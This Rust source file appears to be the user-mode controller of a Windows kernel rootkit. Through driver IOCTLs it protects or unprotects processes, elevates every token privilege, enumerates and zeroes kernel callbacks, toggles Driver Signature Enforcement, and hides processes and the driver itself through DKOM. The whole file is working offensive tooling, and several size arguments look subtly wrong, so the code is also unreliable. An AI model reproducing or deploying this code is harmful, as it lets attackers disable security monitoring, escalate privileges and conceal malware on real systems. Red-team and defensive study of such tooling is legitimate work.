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kernel_interface.rs
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kernel_interface.rs
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use std::{mem::size_of, ptr::null_mut};
use winapi::{um::{ioapiset::DeviceIoControl}, ctypes::c_void};
use common::{TargetProcess, IOCTL_PROCESS_PROTECT_REQUEST, IOCTL_PROCESS_UNPROTECT_REQUEST, IOCTL_PROCESS_TOKEN_PRIVILEGES_REQUEST, IOCTL_CALLBACKS_ENUM_REQUEST, CallBackInformation, TargetCallback, IOCTL_CALLBACKS_ZERO_REQUEST, IOCTL_DSE_ENABLE_DISABLE_REQUEST, DriverSignatureEnforcement, IOCTL_PROCESS_HIDE_REQUEST, IOCTL_DRIVER_HIDE_REQUEST, IOCTL_DRIVER_ENUM_REQUEST, ModuleInformation};
/// Protect a process as PsProtectedSignerWinTcb
pub fn protect_process(process_id: u32, driver_handle: *mut c_void) {
let mut bytes: u32 = 0;
let mut target_process = TargetProcess {
process_id: process_id,
};
let device_io_control_result = unsafe {
DeviceIoControl(driver_handle,
IOCTL_PROCESS_PROTECT_REQUEST,
&mut target_process as *mut _ as *mut c_void,
size_of::<TargetProcess> as u32,
null_mut(),
0,
&mut bytes,
null_mut())
};
if device_io_control_result == 0 {
panic!("[-] Failed to call DeviceIoControl");
}
println!("[+] Process protected successfully {:?}", target_process.process_id);
}
/// Remove process protection
pub fn unprotect_process(process_id: u32, driver_handle: *mut c_void) {
let mut bytes: u32 = 0;
let mut target_process = TargetProcess {
process_id: process_id,
};
let device_io_control_result = unsafe {
DeviceIoControl(driver_handle,
IOCTL_PROCESS_UNPROTECT_REQUEST,
&mut target_process as *mut _ as *mut c_void,
size_of::<TargetProcess> as u32,
null_mut(),
0,
&mut bytes,
null_mut())
};
if device_io_control_result == 0 {
panic!("[-] Failed to call DeviceIoControl");
}
println!("[+] Process unprotected successfully {:?}", target_process.process_id);
}
/// Enable / elevate all token privileges of a process
pub fn enable_tokens(process_id: u32, driver_handle: *mut c_void) {
let mut bytes: u32 = 0;
let mut target_process = TargetProcess {
process_id: process_id,
};
let device_io_control_result = unsafe {
DeviceIoControl(driver_handle,
IOCTL_PROCESS_TOKEN_PRIVILEGES_REQUEST,
&mut target_process as *mut _ as *mut c_void,
size_of::<TargetProcess> as u32,
null_mut(),
0,
&mut bytes,
null_mut())
};
if device_io_control_result == 0 {
panic!("[-] Failed to call DeviceIoControl");
}
println!("[+] Tokens privileges elevated successfully {:?}", target_process.process_id);
}
/// Enumerate Kernel Callbacks
pub fn enumerate_callbacks(driver_handle: *mut c_void) {
let mut bytes: u32 = 0;
let mut callbacks: [CallBackInformation; 64] = unsafe{ std::mem::zeroed() };
let device_io_control_result = unsafe {
DeviceIoControl(driver_handle,
IOCTL_CALLBACKS_ENUM_REQUEST,
null_mut(),
0,
callbacks.as_mut_ptr() as *mut _,
(callbacks.len() * size_of::<CallBackInformation>()) as u32,
&mut bytes,
null_mut())
};
if device_io_control_result == 0 {
panic!("[-] Failed to call DeviceIoControl");
}
let number_of_callbacks = (bytes / size_of::<CallBackInformation>() as u32) as usize;
println!("Total Kernel Callbacks: {:?}", number_of_callbacks);
for i in 0..number_of_callbacks {
if callbacks[i].pointer > 0 {
let name = std::str::from_utf8(&callbacks[i].module_name).unwrap().trim_end_matches('\0');
println!("[{:?}] {:#x} ({:?})", i, callbacks[i].pointer, name);
}
}
}
/// Patch kernel callbacks
pub fn patch_callback(index: u32, driver_handle: *mut c_void) {
let mut bytes: u32 = 0;
let mut target = TargetCallback {
index: index,
};
let device_io_control_result = unsafe {
DeviceIoControl(driver_handle,
IOCTL_CALLBACKS_ZERO_REQUEST,
&mut target as *mut _ as *mut c_void,
size_of::<TargetProcess> as u32,
null_mut(),
0,
&mut bytes,
null_mut())
};
if device_io_control_result == 0 {
panic!("[-] Failed to call DeviceIoControl");
}
println!("[+] Callback patched successfully at index {:?}", target.index);
}
/// Enable Driver Signature Enforcement (DSE)
pub fn enable_or_disable_dse(driver_handle: *mut c_void, dse_state: bool) {
let mut bytes: u32 = 0;
let mut dse = DriverSignatureEnforcement {
address: 0,
is_enabled: true,
};
if dse_state {
dse.is_enabled = true;
} else {
dse.is_enabled = false;
}
let device_io_control_result = unsafe {
DeviceIoControl(driver_handle,
IOCTL_DSE_ENABLE_DISABLE_REQUEST,
&mut dse as *mut _ as *mut c_void,
size_of::<DriverSignatureEnforcement> as u32,
&mut dse as *mut _ as *mut c_void,
size_of::<CallBackInformation>() as u32,
&mut bytes,
null_mut())
};
if device_io_control_result == 0 {
panic!("[-] Failed to call DeviceIoControl");
}
println!("Bytes returned: {:?}", bytes);
if dse.is_enabled {
println!("[+] Driver Signature Enforcement (DSE) enabled: {:#x}", dse.address);
} else {
println!("[+] Driver Signature Enforcement (DSE) disabled: {:#x}", dse.address);
}
}
/// Hide a process using Direct Kernel Object Manipulation (DKOM)
pub fn hide_process(process_id: u32, driver_handle: *mut c_void) {
let mut bytes: u32 = 0;
let mut target_process = TargetProcess {
process_id: process_id,
};
let device_io_control_result = unsafe {
DeviceIoControl(driver_handle,
IOCTL_PROCESS_HIDE_REQUEST,
&mut target_process as *mut _ as *mut c_void,
size_of::<TargetProcess> as u32,
null_mut(),
0,
&mut bytes,
null_mut())
};
if device_io_control_result == 0 {
panic!("[-] Failed to call DeviceIoControl");
}
println!("[+] Process is hidden successfully: {:?}", target_process.process_id);
}
/// Hide a driver using Direct Kernel Object Manipulation (DKOM)
pub fn hide_driver(driver_handle: *mut c_void) {
let mut bytes: u32 = 0;
let device_io_control_result = unsafe {
DeviceIoControl(driver_handle,
IOCTL_DRIVER_HIDE_REQUEST,
null_mut(),
0,
null_mut(),
0,
&mut bytes,
null_mut())
};
if device_io_control_result == 0 {
panic!("[-] Failed to call DeviceIoControl");
}
println!("[+] Driver hidden successfully");
}
/// Get a list of all loaded modules using PsLoadedModuleList
pub fn get_loaded_modules_list(driver_handle: *mut c_void) {
let mut bytes: u32 = 0;
//let mut module_information = [(); 256].map(|_| ModuleInformation::default());
let mut module_information: [ModuleInformation; 256] = unsafe { std::mem::zeroed() };
let device_io_control_result = unsafe {
DeviceIoControl(driver_handle,
IOCTL_DRIVER_ENUM_REQUEST,
null_mut(),
0,
module_information.as_mut_ptr() as *mut _,
(module_information.len() * size_of::<ModuleInformation>()) as u32,
&mut bytes,
null_mut())
};
if device_io_control_result == 0 {
panic!("[-] Failed to call DeviceIoControl");
}
let numer_of_modules = (bytes / size_of::<ModuleInformation>() as u32) as usize;
println!("Total Number of Modules: {:?}", numer_of_modules);
for i in 0..numer_of_modules {
if module_information[i].module_base > 0 {
let name = String::from_utf16_lossy(&module_information[i].module_name).trim_end_matches('\0').to_owned();
println!("[{:?}] {:#x} {:?}", i, module_information[i].module_base, name);
}
}
println!("[+] Loaded modules enumerated successfully");
}